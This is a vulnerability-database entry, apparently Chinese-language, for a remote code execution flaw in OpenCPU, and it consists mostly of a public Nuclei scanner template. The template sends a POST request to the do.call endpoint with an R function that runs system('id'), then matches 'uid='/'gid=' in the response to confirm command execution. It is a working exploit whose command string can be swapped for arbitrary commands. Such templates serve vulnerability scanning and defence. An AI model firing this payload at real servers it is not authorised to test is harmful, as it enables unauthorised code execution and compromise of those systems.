opencpu-rce: OpenCPU - Remote Code Execution

日期: 2025-08-01 | 影响软件: OpenCPU | POC: 已公开

漏洞描述

Check for remote code execution via OpenCPU was conducted.

PoC代码[已公开]

id: opencpu-rce

info:
  name: OpenCPU - Remote Code Execution
  author: wa1tf0rme
  severity: critical
  description: |
    Check for remote code execution via OpenCPU was conducted.
  reference:
    - https://pulsesecurity.co.nz/articles/R-Shells
    - https://github.com/opencpu/opencpu/
  metadata:
    max-request: 1
  tags: rce,opencpu,oss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/ocpu/library/base/R/do.call/json"

    body: |
      what=function(x){  return(system(paste('id'), intern %3d T))}&args={}

    headers:
      Content-Type: application/x-www-form-urlencoded
    max-redirects: 2
    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - uid=
          - gid=
        condition: and

      - type: status
        status:
          - 201

    extractors:
      - type: regex
        group: 1
        regex:
          - \(([a-z-]+)\)
# digest: 4b0a00483046022100a84f09efb219325c2f11c3ce7db59b82edc4ee84c56c5399b67b504d5c8f919f022100b3b456384ff17e69db07f12c5826dc5e8880ee07f8666597bd3c0b884b6e0c04:922c64590222798bb761d5b6d8e72950

相关漏洞推荐